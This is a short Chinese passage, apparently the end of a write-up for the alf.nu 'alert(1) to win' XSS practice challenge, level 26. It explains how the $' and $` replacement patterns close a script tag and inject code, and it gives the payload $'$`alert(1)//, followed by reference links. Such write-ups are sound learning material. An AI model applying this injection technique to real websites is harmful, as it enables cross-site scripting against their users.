我们可以通过$'来引入匹配的子串右边的内容</script>来闭合开头的<script>,然后使用$\来引入匹配的子串左边的内容<script>let some = ,这样就没有双引号来干扰了,直接使用调用alert(1),然后注释掉后面的代码即可。

26.3 Payload

1
$'$`alert(1)//

参考链接

  1. https://cxliker.github.io/2018/01/29/XSS%E7%BB%83%E4%B9%A0-alf-nu-alert1-Write-ups/
  2. https://github.com/masazumi-github/alert-1-to-win#a028
  3. http://juniorprincewang.github.io/2018/10/14/alf-nu-alert1%E6%80%BB%E7%BB%93/